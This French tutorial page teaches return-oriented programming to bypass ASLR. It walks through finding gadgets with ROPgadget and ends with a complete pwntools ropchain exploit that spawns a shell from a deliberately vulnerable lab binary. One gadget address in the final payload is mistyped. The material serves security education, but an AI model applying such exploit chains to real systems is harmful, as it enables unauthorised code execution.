> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/pwn/stack/rop-return-oriented-programming.md).

# ROP (Return Oriented Programming)

Contourner l'ASLR

On a vu dans [ret2libc](/cyber/pwn/stack/ret2libc.md) comment exploiter un buffer overflow quand la pile n'est pas exécutable en arrangeant celle-ci pour appeler des fonctions de la libc comme `system`. Mais quand [ASLR](/cyber/pwn/protections/aslr.md) est activée on ne peut plus récupérer les adresses de ces fonctions dans le binaire.

Dans [Prologue](/cyber/rev/prologue.md#programme-et-assembleur) on a vu qu'un programme est juste une suite d'instructions assembleur. Si on ne peut plus appeler de fonction de la libc pour exécuter nos commandes, on peut se "construire" un programme qui va exécuter nos commandes directement avec les bonnes instructions assembleur les unes à la suite des autres: c'est le **ROP (Return Oriented Programming)**.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2F7rLwTHIZzGSrK4cA04iD%2Frep%20meme.png?alt=media&amp;token=02039a5e-9d82-4c2b-b325-ca0ddca0ca54" alt="" width="188"><figcaption></figcaption></figure>

## Principe de fonctionnement

L'idée est de récupérer des instructions assembleur qui nous conviennent directement dans le binaire (appelées *gadgets*) et de se débrouiller pour que le CPU les exécute les unes après les autres dans le bon ordre.

Si on veut appeler une fonction `add(2, 1)`, une suite d'instructions qui fonctionne est par exemple:

```c
mov eax, 0x01
mov ebx, 0x02
push eax
push ebx
call <add>  // add(2, 1)
```

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2Fmyg03EaMtpYZGdEa6SWQ%2Frop-1.svg?alt=media&amp;token=e000354e-a38e-442c-9233-ed5e23ebe12f" alt="" width="496"><figcaption><p>Instructions dans l'exécutable</p></figcaption></figure>

Le problème est qu'il y a très peu de chances de trouver les bonnes instructions les unes à la suite des autres dans la mémoire.&#x20;

```c
0x5fff0000:    mov eax, 0x01
0xffff0010:    mov ebx, 0x02
0x44ff0020:    push eax
...
```

Il faut trouver un moyen de faire sauter le CPU aux bonnes adresses après avoir exécuté chaque instruction:

```c
// le CPU saute à 0x5fff0000
mov eax, 0x01
// le CPU saute à 0xffff0010
mov ebx, 0x02
// le CPU saute à 0x44ff0020
push eax
...
```

La technique est d'utiliser l'instruction `ret`. Elle retire la valeur au sommet de la pile et la met dans `eip` forçant le CPU à exécuter l'instruction à cette adresse.&#x20;

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2Fsyr8FVDQzmD7OC7yxRc2%2Frop-2.svg?alt=media&amp;token=502d2802-99fa-4183-b068-1f4d7b341f74" alt=""><figcaption><p>Saut avec l'instruction ret</p></figcaption></figure>

Si on trouve des instructions suivies de `ret`, le CPU exécutera l'instruction puis sautera à l'adresse au sommet de la pile. Il suffit que cette valeur au sommet de la pile soit l'adresse de la prochaine instruction à exécuter ! On cherche donc des instructions comme ça:

```c
0x5fff0000:    mov eax, 0x01
               ret

0xffff0010:    mov ebx, 0x02
               ret

0x44ff0020:    push eax
               ret
...
```

Cette suite de gadgets est appelée **ropchain**.

Le buffer overflow nous permet de modifier l'adresse de retour. On va la remplacer par l'adresse de la première instruction que nous voulons exécuter (`mov eax, 0x01`) et arranger la pile pour que les appels aux autres instructions se fassent bien.

Par exemple si:

* `mov eax, 0x01 ; ret` se trouve à l'adresse `0x5fff0000`&#x20;
* `mov ebx, 0x02 ; ret` se trouve à l'adresse `0xffff0010`
* `push eax ; ret` se trouve à l'adresse `0x44ff0020`

Il faut mettre la pile dans cet état:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FEvexAHSkh6GUbt9jy4Tn%2Frop-2.svg?alt=media&amp;token=ee69dfa4-1bb3-4d64-86f5-f7e763cac85c" alt=""><figcaption><p>Buffer overflow et sauts avec ret</p></figcaption></figure>

## Recherche de gadgets

En pratique pour trouver les gadgets dans le binaire on peut utiliser [ROPGadget](https://github.com/JonathanSalwan/ROPgadget).

Même si on sait quels types de gadgets on cherche il existe différentes manières de faire la même chose. Par exemple pour écrire 0 dans `eax` on peut faire:

```c
mov eax, 0
    ou
xor eax, eax
    ou
sub eax, eax
...
```

Donc si on ne trouve pas une instruction spécifique dans le binaire on peut chercher des alternatives.

Cette commande affiche la liste des gadgets trouvés:

```bash
sam@kali:~exploits$ ROPGadget --binary ./rop
[...]
0x0804c983 : xor esp, 0x17 ; add byte ptr [eax], al ; add dword ptr [eax], eax ; add byte ptr [eax], al ; jmp 0x804c87f
0x0806e51e : xor esp, 0xffffffdb ; cld ; call dword ptr [eax - 0x73]
0x080727ac : xor esp, 0xffffffe3 ; cld ; call dword ptr [eax - 0x18]
0x08057cc9 : xor esp, dword ptr [edi] ; add byte ptr [eax], al ; add esp, 0x10 ; jmp 0x8057be1

Unique gadgets found: 34396
```

ROPGadget en a trouvé 34 396 ! Il y a aussi une option pour générer des ropchains. Elle peut être intéressante dans certains cas.

```bash
sam@kali:~exploits$ ROPGadget --binary <chemin vers le binaire> --ropchain
```

## Exploitation

Notre code vulnérable à un simple buffer overflow est toujours le même:

```c
#include <stdio.h>
#include <string.h>

void copy(char* src) {

	// copie le contenu de src dans buffer
	char buffer[50];
	strcpy(buffer, src);
	
	// affiche le contenu de buffer
	printf("Contenu de buffer:\n");
	for (int i=0; i<50; i++) {
		printf("%c", buffer[i]);
	}
	printf("\n");

}

int main(int argc, char** argv) {
	
	copy(argv[1]);

	return 0;
}
```

On le compile sans protections:

```bash
gcc rop.c -o rop -m32 -fno-stack-protector  -Wl,-z,relro,-z,now,-z,noexecstack -static
```

Activons bien l'ASLR:

```bash
echo 2 > /proc/sys/kernel/randomize_va_space
```

Passons à l'exploitation. Pour exécuter des commandes on peut utiliser des syscalls (voir [Prologue](/cyber/rev/prologue.md#kernel-et-appels-systemes)) ou appels systèmes. La [table des appels systèmes sur Linux](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md) indique quels valeur mettre dans quels registres pour chaque appel.

Par exemple pour [execve](https://man7.org/linux/man-pages/man2/execve.2.html) (exécute la commande donnée en argument) sur l'architecture x86 (32-bit):

<table><thead><tr><th width="150" align="center">syscall name</th><th width="83" align="center">%eax</th><th width="197" align="center">arg0 (%ebx)</th><th width="240" align="center">arg1 (%ecx)</th><th width="230" align="center">arg2 (%edx)</th><th width="122" align="center">arg3 (%esi)</th><th width="137" align="center">arg4 (%edi)</th><th align="center">arg5 (%ebp)</th></tr></thead><tbody><tr><td align="center">execve</td><td align="center">0x0b</td><td align="center">const char *filename</td><td align="center">const char *const *argv</td><td align="center">const char *const *envp</td><td align="center">-</td><td align="center">-</td><td align="center">-</td></tr></tbody></table>

D'après sa documentation, pour exécuter `"/bin/sh"` sans arguments on peut l'appeler comme ça: `execve("/bin/sh", NULL, NULL)`.

&#x20;Pour l'appeler il faut:

* mettre `0x0b` (11) dans `eax`
* mettre l'adresse de la commande  `"/bin/sh"` dans `ebx`
* mettre une adresse qui pointe vers `0x00000000` (`NULL`) dans `ecx` et `edx`
* faire un appel système (instruction `int 0x80` en x86)

Le CPU va passer en mode kernel et ainsi exécuter la commande correspondant à l'indice dans `eax` (ici `execve`) avec les paramètres mis dans les bons registres.

Comme on vient de le voir il va nous falloir l'adresse de `"/bin/sh"` et de `0x00000000`. Pour ça nous allons avoir besoin de ***write-what-where*** gadgets, ce sont des instructions qui permettent **d'écrire ce qu'on veut où on veut** dans la mémoire. Par exemple:

```c
pop eax                       // met la valeur au sommet de la pile dans eax
ret                           
pop ebx                       // met la valeur au sommet de la pile dans ebx
ret                          
mov qword ptr [ebx], eax      // met la valeur de eax à l'adresse pointée par ebx
ret                           
```

Si on veut écrire `"foot"` à l'adresse `0x11111111` par exemple on met la pile dans cet état:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FxuzGk55Mw5HZLwJj9Tfp%2Frop-write-what-where.svg?alt=media&amp;token=796a9a4b-e6e4-4083-9c7b-41e11db5498b" alt=""><figcaption><p>Etat de la pile pour utiliser le write-what-where gadget</p></figcaption></figure>

Bon, maintenant qu'on sait tout ça il faut écrire `"/bin/sh"` et `0x00000000` à des adresses qui ne varient pas (n'oublions pas que [ASLR](/cyber/pwn/protections/aslr.md) est activée !). Elle modifie l'adresse de la pile, du tas et des librairies à chaque exécution.&#x20;

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FLFFefEyQDObGTYv28ZOA%2Fsegmentation-memoire.svg?alt=media&amp;token=429d080f-5259-4df9-9de6-da85969d72ae" alt="" width="303"><figcaption><p>Rappel de segmentation de la mémoire pour un programme</p></figcaption></figure>

Cependant la section `data` du binaire n'est pas impactée donc on va l'écrire dedans. Récupérons d'abord l'adresse de cette section dans notre exécutable:

```bash
sam@kali:~exploits$ readelf -a ./rop | grep ".data"
[15] .rodata           PROGBITS        0804a000 002000 00001b 00   A  0   0  4
[23] .data             PROGBITS        0804c01c 00301c 000008 00  WA  0   0  4
   04     .rodata .eh_frame_hdr .eh_frame 
   05     .init_array .fini_array .dynamic .got .got.plt .data .bss 
    20: 0804c01c     0 NOTYPE  WEAK   DEFAULT   23 data_start
    21: 0804c024     0 NOTYPE  GLOBAL DEFAULT   23 _edata
    25: 0804c01c     0 NOTYPE  GLOBAL DEFAULT   23 __data_start

```

La section `data` commence à l'adresse `0x0804c01c`. On va écrire la chaîne `"/bin/sh"` à cette adresse et comme elle fait 7 octets on va écrire `0x00000000` juste après à l'adresse `0x0804c024`.

En exploitant le buffer overflow on va devoir:

1. écrire `"/bin/sh"` à l'adresse `0x0804c01c`
2. écrire `0x00000000` à l'adresse `0x0804c024`
3. mettre `0x0b` dans `eax`
4. mettre `0x0804c01c` dans `ebx`
5. mettre `0x0804c024` dans `ecx` et `edx`
6. faire un appel système (`int 0x80`)

Pour écrire `"/bin/sh"` à l'adresse `0x0804c01c` cherchons un *write-what-where* gadget:

```shell
sam@kali:~exploits$ ROPGadget --binary ./rop --ropchain
[...]
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

	[+] Gadget found: 0x80ae7c7 mov dword ptr [esi], edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
	[+] Gadget found: 0x804fbff pop esi ; ret
	[-] Can't find the 'pop edx' gadget. Try with another 'mov [reg], reg'

	[+] Gadget found: 0x8059502 mov dword ptr [edx], eax ; ret
	[-] Can't find the 'pop edx' gadget. Try with another 'mov [reg], reg'

	[+] Gadget found: 0x80ad631 mov dword ptr [edi], ebx ; pop ebx ; pop esi ; pop edi ; ret
	[+] Gadget found: 0x8049a20 pop edi ; ret
	[+] Gadget found: 0x8049022 pop ebx ; ret
	[-] Can't find the 'xor ebx, ebx' gadget. Try with another 'mov [r], r'

	[+] Gadget found: 0x80ad628 mov dword ptr [edi], eax ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
	[+] Gadget found: 0x8049a20 pop edi ; ret
	[+] Gadget found: 0x80b444a pop eax ; ret
	[+] Gadget found: 0x8050780 xor eax, eax ; ret
```

ROPGadget a trouvé plusieurs write-what-where gadgets (4 ici). On peut utiliser le dernier par exemple. Voici une petite explication de ce que la suite d'instruction fait:

```c
// écris le contenu de eax ("/bin/sh") à l'adresse dans edi (0x0804c01c)
0x80ad628:       mov dword ptr [edi], eax  
                 pop eax   // met la valeur au sommet de la pile dans eax
                 pop ebx   // met la valeur au sommet de la pile dans ebx
                 pop esi   // met la valeur au sommet de la pile dans esi
                 pop edi   // met la valeur au sommet de la pile dans edi
                 ret

// si 0x0804c01c est au sommet de la pile il est écrit dans edi                
0x8049a20:       pop edi   // met la valeur au sommet de la pile dans edi
                 ret
 
// si "/bin/sh" est au sommet de la pile il est écrit dans eax               
0x80b444a:       pop eax   // met la valeur au sommet de la pile dans eax
                 ret
                
0x8050780:       xor eax, eax   // met 0 dans eax
                 ret
```

**Attention: `"/bin/sh"` fait 7 octets et `eax` ne peut contenir que 4 octets. Il faut donc commencer par écrire les 4 premiers octets `"/bin"` à `0x0804c01c` puis les 3 restants `"/sh"` à `0x0804c020`.**

On peut dans un premier temps mettre `0x80b444a` au sommet de la pile suivi de `"/bin"`.&#x20;

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FcEJUtHuShb3O3obxqQEW%2Frop-4.svg?alt=media&amp;token=3fbfe79f-1a32-4b73-a754-0d0c460f6806" alt="" width="399"><figcaption></figcaption></figure>

A la fin de la fonction `copy` le CPU mettra le string dans `eax` en exécutant:

```c
0x80b444a:       pop eax
                 ret
```

`ret` nous envoie alors à l'adresse au sommet de la pile.&#x20;

En y mettant l'adresse de la prochaine instruction `0x8049a20` suivi de `0x0804c01c` le CPU met alors `0x0804c01c` dans `edi` en exécutant:&#x20;

```c
0x8049a20:       pop edi   
                 ret
```

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2F1HvDWZIV9sloJ7P2RHJj%2Frop-5.svg?alt=media&amp;token=d453c845-a89b-4ec7-8264-28fa1c45e86e" alt="" width="399"><figcaption></figcaption></figure>

Une fois de plus `ret` envoie à l'adresse au sommet de la pile. En y mettant `0x80ad628` on exécute:

```c
0x80ad628:       mov dword ptr [edi], eax  // "/bin" est écrit à 0x0804c01c
                 pop eax   
                 pop ebx   
                 pop esi   
                 pop edi   
                 ret
```

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FKYpuJe5E4ms9O0MXuDJe%2Frop-6.svg?alt=media&amp;token=90f59054-6c02-4034-81e2-763f59774c60" alt="" width="563"><figcaption></figcaption></figure>

On remarque qu'avant d'exécuter `ret`, le CPU exécutera la série de `pop`. Etant donné que nous devons encore écrire `"/sh"` (après `"/bin"` donc à l'adresse `0x0804c020`) on peut utiliser ces instructions `pop` pour mettre `"/sh"` dans `eax` et `0x0804c020` dans `edi`. Comme ça on aura juste à utiliser le `ret` pour revenir à cette suite d'instructions (`0x80ad628`) ce qui écrira bien "/sh" là où il faut.

Il faut donc ajouter sur la pile `"/sh"` suivi de 8 octets au hasard (on se fiche des valeurs qui seront mise dans `ebx` et `esi`) puis `0x0804c020` qui ira dans `edi`. Enfin on ajoute l'adresse de cette suite d'instruction `0x80ad628`.&#x20;

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FhSLVneakmF8nxi3kR1Wp%2Frop-7.svg?alt=media&amp;token=ae33834e-e4cb-4b80-9875-0b3edfa43af4" alt="" width="563"><figcaption></figcaption></figure>

Quand `ret` est exécutée on y retourne:

```c
0x80ad628:       mov dword ptr [edi], eax  // "/sh" est écrit à 0x0804c020
                 pop eax   
                 pop ebx   
                 pop esi   
                 pop edi   
                 ret
```

Parfait ! Si vous avez suivi jusque là vous aurez compris que nous allons réutiliser la même technique pour écrire `0x00000000` (`NULL`) après `"/bin/sh"` (à `0x0804c024`). On ajoute donc sur la pile `0x00000000` (pour `eax`), encore 8 octets au hasard pour `pop ebx` et `pop esi` puis l'adresse où on veut écrire soit `0x0804c024` pour `pop edi`. Ensuite on oublie pas de mettre encore l'adresse de cette suite d'instruction: `0x80ad628` pour y revenir avec `ret`.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FF70yqH9jITBAIPFvptW9%2Frop-8.svg?alt=media&amp;token=3f37581b-3d0e-4373-a891-f47d4d781274" alt="" width="501"><figcaption></figcaption></figure>

```c
0x80ad628:       mov dword ptr [edi], eax  // 0x00000000 est écrit à 0x0804c024
                 pop eax   
                 pop ebx   
                 pop esi   
                 pop edi   
                 ret
```

Super ! Maintenant il faut encore mettre l'adresse de `"/bin/sh"` dans `ebx` et celle de `NULL` dans `ecx` et `edx`: `0x0804c024`. Pour `ebx` on peut utiliser le `pop ebx` avant le `ret`. Il faut donc ajouter sur la pile 4 octets au hasard pour `pop eax`, puis l'adresse de `"/bin/sh"`: `0x0804c01c`. Puis 8 octets au hasard pour `pop esi` et `pop edi`.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FCKVZkUnGGl4UxLo73GHc%2Frop-9.svg?alt=media&amp;token=1570db3f-e779-4309-a44c-50dd509396e8" alt="" width="501"><figcaption></figcaption></figure>

Maintenant il faut trouver un gadget pour écrire dans `ecx`.

```c
sam@kali:~exploits$ ROPgadget --binary ./rop --only "mov|ret" | grep  "mov ecx"
0x080524d3 : mov ecx, dword ptr [eax + 0x58] ; mov dword ptr [ecx + 0x88], edx ; ret
0x0805998d : mov ecx, dword ptr [esp] ; ret
0x08096558 : mov ecx, eax ; mov eax, ecx ; ret
```

On va utiliser le 3e. Il faut mettre `0x0804c024` dans `eax` et le gadget le mettra dans `ecx`:

```c
0x08096558:    mov ecx, eax 
               mov eax, ecx
               ret
```

Mais pour mettre `0x0804c024` dans `eax` on peut utiliser le `pop eax` du gadget qu'on a utilisé pour écrire dans la mémoire ! Ok, finalement on va mettre `0x0804c024` sur la pile pour `eax` puis l'adresse de `"/bin/sh"`: `0x0804c01c`, puis 8 octets au hasard pour `esi` et `edi`. Enfin on ajoute l'adresse `0x08096558` (gadget qui écrit dans `ecx`) pour `ret`.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FLHzCShbadPFJ6wKzuJf6%2Frop-10.svg?alt=media&amp;token=329f5eca-cd0b-435a-bbdd-760f6a87c123" alt=""><figcaption></figcaption></figure>

Cherchons maintenant un gadget pour écrire dans `edx`.

```c
sam@kali:~exploits$ ROPgadget --binary ./rop | grep  "pop edx"
[...]
0x08094e75 : pop edx ; xor eax, eax ; pop edi ; ret
[...]
```

Le plus simple trouvé par ROPGadget est celui-là.&#x20;

On ajoute son adresse sur la pile (`0x08094e75`) suivie de la valeur à mettre dans `edx`: `0x0804c024`. Le CPU exécutera alors:

```c
0x08094e75:    pop edx   // l'adresse de NULL est mise dans edx
               xor eax, eax  // eax est mis à 0 (on s'en fiche)
               pop edi  // on s'en fiche aussi
               ret
```

Sur la pile il faut penser à ajouter 4 octets au hasard pour le `pop edi`.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FTQmg3JUd9oEDxBDIUNXq%2Frop-11.svg?alt=media&amp;token=e3c52ede-33ab-4d90-8e56-520a40157ad2" alt="" width="563"><figcaption></figcaption></figure>

Il ne nous reste plus qu'à mettre `0x0b` dans `eax` et à faire l'appel système (`int 0x80`).

Commençons par `eax`:

```c
sam@kali:~exploits$ ROPGadget --binary ./rop | grep "pop eax"
[...]
0x080b444a: pop eax ; ret
[...]
```

On trouve un gadget tout simple. Ajoutons son adresse (`0x080b444a`) sur la pile suivie de `0x0b`.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FsMbMKssZUJISsAPerUxS%2Frop-12.svg?alt=media&amp;token=8bd9e8e4-34ab-4f25-8510-a21328356b60" alt="" width="542"><figcaption></figcaption></figure>

Enfin il ne manque que l'appel système:

```c
sam@kali:~exploits$ ROPGadget --binary ./rop | grep "int 0x80"
[...]
0x08049c0a: int 0x80
[...]
```

Ici l'instruction n'est pas suivie d'un `ret` donc après l'appel système on ne pourra pas rediriger le CPU vers une adresse de notre choix. Si on voulait enchaîner les appels système (dans certains cas ça peut être nécessaire) il faudrait un gadget de la forme:

```c
int 0x80 ; ret
```

> ROPGadget ne trouve pas tout le temps tous les gadgets. Il peut être intéressant d'essayer d'autres outils en ligne par exemple.

En résumé avec le buffer overflow il faut mettre la pile dans cet état:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FY8fnrtxfXnv6Yr4vfZyR%2Frop-13.svg?alt=media&amp;token=849b8c16-289e-458b-90a4-675bf2236809" alt="" width="167"><figcaption><p>Etat de la pile après l'overflow pour appeler execve("/bin/sh", NULL, NULL) avec la ropchain</p></figcaption></figure>

Bravo si vous êtes arrivés jusqu'ici le plus dur est fait ! Il reste à déterminer combien d'octets sont nécessaire pour écraser l'adresse de retour.

```c
sam@kali:~exploits$ gdb ./rop
gef➤ disass copy
Dump of assembler code for function copy:
   0x000011bd <+0>:	push   ebp
   0x000011be <+1>:	mov    ebp,esp
   [...]
   0x000011d5 <+24>:	lea    eax,[ebp-0x3e]  <== offset de 0x3e (62)
   0x000011d8 <+27>:	push   eax
   0x000011d9 <+28>:	call   0x1050 <strcpy@plt>
   0x000011de <+33>:	add    esp,0x10
   [...]
```

Le buffer est situé à 62 octets de `ebp` donc il faut 62 + 4 (pour écraser `ebp`) = 66 octets pour atteindre l'adresse de retour de `copy`.

Pour donnée une telle entrée au programme, plutôt que de le faire en ligne de commande avec python on peut utiliser [pwntools](https://github.com/Gallopsled/pwntools) (voir [Broken mention](broken://pages/PRMj38eX0CqFMjNWqYXc)).

```python
from pwn import *

proc = process("./rop")

# construction du payload
p = "A" * 66                    # buffer overflow

p += pack(0x080b444a)           # pop eax ; ret
p += "/bin"                     # "/bin/
p += pack(0x08049a20)           # pop edi ; ret
p += pack(0x0804c01c)           # @.data = @("/bin")
p += pack(0x080ad628)           # mov dword ptr [edi], eax ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
p += "/sh\x00"                  # "/sh" (+ null byte pour la fin de la commande)
p += pack(0x41414141)           # "AAAA"
p += pack(0x41414141)           # "AAAA"
p += pack(0x0804c020)           # @.data + 4 = @("/sh")
p += pack(0x080ad628)           # mov dword ptr [edi], eax ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
p += pack(0x00000000)           # 0x00000000 (NULL)
p += pack(0x41414141)           # "AAAA"
p += pack(0x41414141)           # "AAAA"
p += pack(0x0804c024)           # @.data + 8 = @(NULL)
p += pack(0x080ad268)           # mov dword ptr [edi], eax ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
p += pack(0x0804c024)           # @.data + 8 = @(NULL)
p += pack(0x0804c01c)           # @.data = @("/bin/sh")
p += pack(0x41414141)           # "AAAA"
p += pack(0x41414141)           # "AAAA"
p += pack(0x08096558)           # mov ecx, eax ; mov eax, ecx ; ret
p += pack(0x08094e75)           # pop edx ; xor eax, eax ; pop edi ; ret
p += pack(0x0804c024)           # @.data + 8 = @(NULL)
p += pack(0x41414141)           # "AAAA"
p += pack(0x080b444a)           # pop eax ; ret
p += pack(0x0000000b)           # 0x0b
p += pack(0x08049c0a)           # int 0x80

# envoie du payload
proc.sendline(p)
proc.interactive()
```

```bash
sam@kali:~exploits$ python ./exploit.py
[+] Starting local process './rop': pid 7952
[*] Switching to interactive mode
$ whoami
sam
$

```

On obtient notre shell !

## Protection

L'attaque repose sur la capacité à connaître l'adresse des gadgets dans la mémoire. Avec la protection [PIE](/cyber/pwn/protections/pie.md) leurs adresses sont aussi randomisées.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2F2cSYGSqVixS2sO93Nst9%2F830fhv.jpg?alt=media&amp;token=a568aa51-1c05-4cd1-b3c4-66d4ea80b3a6" alt="" width="375"><figcaption></figcaption></figure>
